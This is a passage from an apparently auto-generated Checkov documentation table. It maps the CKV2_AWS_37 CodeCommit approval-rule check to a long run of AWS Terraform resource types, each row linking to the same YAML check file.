CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1490 | CKV2_AWS_37 | resource | aws_msk_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1491 | CKV2_AWS_37 | resource | aws_msk_replicator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1492 | CKV2_AWS_37 | resource | aws_msk_scram_secret_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1493 | CKV2_AWS_37 | resource | aws_msk_serverless_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1494 | CKV2_AWS_37 | resource | aws_msk_single_scram_secret_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1495 | CKV2_AWS_37 | resource | aws_msk_vpc_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1496 | CKV2_AWS_37 | resource | aws_mskconnect_connector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1497 | CKV2_AWS_37 | resource | aws_mskconnect_custom_plugin | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1498 | CKV2_AWS_37 | resource | aws_mskconnect_worker_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1499 | CKV2_AWS_37 | resource | aws_mwaa_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1500 | CKV2_AWS_37 | resource | aws_nat_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1501 | CKV2_AWS_37 | resource | aws_neptune_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1502 | CKV2_AWS_37 | resource | aws_neptune_cluster_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1503 | CKV2_AWS_37 | resource | aws_neptune_cluster_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1504 | CKV2_AWS_37 | resource | aws_neptune_cluster_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1505 | CKV2_AWS_37 | resource | aws_neptune_cluster_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1506 | CKV2_AWS_37 | resource | aws_neptune_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1507 | CKV2_AWS_37 | resource | aws_neptune_global_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1508 | CKV2_AWS_37 | resource | aws_neptune_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1509 | CKV2_AWS_37 | resource | aws_neptune_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1510 | CKV2_AWS_37 | resource | aws_network_acl | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1511 | CKV2_AWS_37 | resource | aws_network_acl_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1512 | CKV2_AWS_37 | resource | aws_network_acl_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1513 | CKV2_AWS_37 | resource | aws_network_interface | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1514 | CKV2_AWS_37 | resource | aws_network_interface_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1515 | CKV2_AWS_37 | resource | aws_network_interface_sg_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1516 | CKV2_AWS_37 | resource | aws_networkfirewall_firewall | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1517 | CKV2_AWS_37 | resource | aws_networkfirewall_firewall_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1518 | CKV2_AWS_37 | resource | aws_networkfirewall_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1519 | CKV2_AWS_37 | resource | aws_networkfirewall_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1520 | CKV2_AWS_37 | resource | aws_networkfirewall_rule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1521 | CKV2_AWS_37 | resource | aws_networkfirewall_tls_inspection_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1522 | CKV2_AWS_37 | resource | aws_networkmanager_attachment_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1523 | CKV2_AWS_37 | resource | aws_networkmanager_connect_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1524 | CKV2_AWS_37 | resource | aws_networkmanager_connect_peer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1525 | CKV2_AWS_37 | resource | aws_networkmanager_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1526 | CKV2_AWS_37 | resource | aws_networkmanager_core_network | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1527 | CKV2_AWS_37 | resource | aws_networkmanager_core_network_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1528 | CKV2_AWS_37 | resource | aws_networkmanager_customer_gateway_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1529 | CKV2_AWS_37 | resource | aws_networkmanager_device | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1530 | CKV2_AWS_37 | resource | aws_networkmanager_dx_gateway_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1531 | CKV2_AWS_37 | resource | aws_networkmanager_global_network | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1532 | CKV2_AWS_37 | resource | aws_networkmanager_link | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1533 | CKV2_AWS_37 | resource | aws_networkmanager_link_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1534 | CKV2_AWS_37 | resource | aws_networkmanager_site | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1535 | CKV2_AWS_37 | resource | aws_networkmanager_site_to_site_vpn_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1536 | CKV2_AWS_37 | resource | aws_networkmanager_transit_gateway_connect_peer_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1537 | CKV2_AWS_37 | resource | aws_networkmanager_transit_gateway_peering | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1538 | CKV2_AWS_37 | resource | aws_networkmanager_transit_gateway_registration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1539 | CKV2_AWS_37 | resource | aws_networkmanager_transit_gateway_route_table_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1540 | CKV2_AWS_37 | resource | aws_networkmanager_vpc_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1541 | CKV2_AWS_37 | resource | aws_networkmonitor_monitor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1542 | CKV2_AWS_37 | resource | aws_networkmonitor_probe | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1543 | CKV2_AWS_37 | resource | aws_oam_link | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1544 | CKV2_AWS_37 | resource | aws_oam_sink | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1545 | CKV2_AWS_37 | resource | aws_oam_sink_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1546 | CKV2_AWS_37 | resource | aws_opensearch_authorize_vpc_endpoint_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1547 | CKV2_AWS_37 | resource | aws_opensearch_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1548 | CKV2_AWS_37 | resource | aws_opensearch_domain_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1549 | CKV2_AWS_37 | resource | aws_opensearch_domain_saml_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1550 | CKV2_AWS_37 | resource | aws_opensearch_inbound_connection_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1551 | CKV2_AWS_37 | resource | aws_opensearch_outbound_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1552 | CKV2_AWS_37 | resource | aws_opensearch_package | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1553 | CKV2_AWS_37 | resource | aws_opensearch_package_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1554 | CKV2_AWS_37 | resource | aws_opensearch_vpc_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1555 | CKV2_AWS_37 | resource | aws_opensearchserverless_access_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1556 | CKV2_AWS_37 | resource | aws_opensearchserverless_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1557 | CKV2_AWS_37 | resource | aws_opensearchserverless_lifecycle_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1558 | CKV2_AWS_37 | resource | aws_opensearchserverless_security_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1559 | CKV2_AWS_37 | resource | aws_opensearchserverless_security_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1560 | CKV2_AWS_37 | resource | aws_opensearchserverless_vpc_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1561 | CKV2_AWS_37 | resource | aws_opsworks_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1562 | CKV2_AWS_37 | resource | aws_opsworks_custom_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1563 | CKV2_AWS_37 | resource | aws_opsworks_ecs_cluster_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1564 | CKV2_AWS_37 | resource | aws_opsworks_ganglia_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1565 | CKV2_AWS_37 | resource | aws_opsworks_haproxy_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1566 | CKV2_AWS_37 | resource | aws_opsworks_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1567 | CKV2_AWS_37 | resource | aws_opsworks_java_app_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1568 | CKV2_AWS_37 | resource | aws_opsworks_memcached_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1569 | CKV2_AWS_37 | resource | aws_opsworks_mysql_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1570 | CKV2_AWS_37 | resource | aws_opsworks_nodejs_app_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1571 | CKV2_AWS_37 | resource | aws_opsworks_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1572 | CKV2_AWS_37 | resource | aws_opsworks_php_app_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1573 | CKV2_AWS_37 | resource | aws_opsworks_rails_app_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1574 | CKV2_AWS_37 | resource | aws_opsworks_rds_db_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1575 | CKV2_AWS_37 | resource | aws_opsworks_stack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1576 | CKV2_AWS_37 | resource | aws_opsworks_static_web_layer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1577 | CKV2_AWS_37 | resource | aws_opsworks_user_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1578 | CKV2_AWS_37 | resource | aws_organizations_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1579 | CKV2_AWS_37 | resource | aws_organizations_delegated_administrator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1580 | CKV2_AWS_37 | resource | aws_organizations_organization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1581 | CKV2_AWS_37 | resource | aws_organizations_organizational_unit | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1582 | CKV2_AWS_37 | resource | aws_organizations_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1583 | CKV2_AWS_37 | resource | aws_organizations_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1584 | CKV2_AWS_37 | resource | aws_organizations_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1585 | CKV2_AWS_37 | resource | aws_osis_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1586 | CKV2_AWS_37 | resource | aws_paymentcryptography_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1587 | CKV2_AWS_37 | resource | aws_paymentcryptography_key_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1588 | CKV2_AWS_37 | resource | aws_pinpoint_adm_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1589 | CKV2_AWS_37 | resource | aws_pinpoint_apns_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1590 | CKV2_AWS_37 | resource | aws_pinpoint_apns_sandbox_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1591 | CKV2_AWS_37 | resource | aws_pinpoint_apns_voip_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1592 | CKV2_AWS_37 | resource | aws_pinpoint_apns_voip_sandbox_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1593 | CKV2_AWS_37 | resource | aws_pinpoint_app | Ensure CodeCommit associates an approval rule | Terraform | 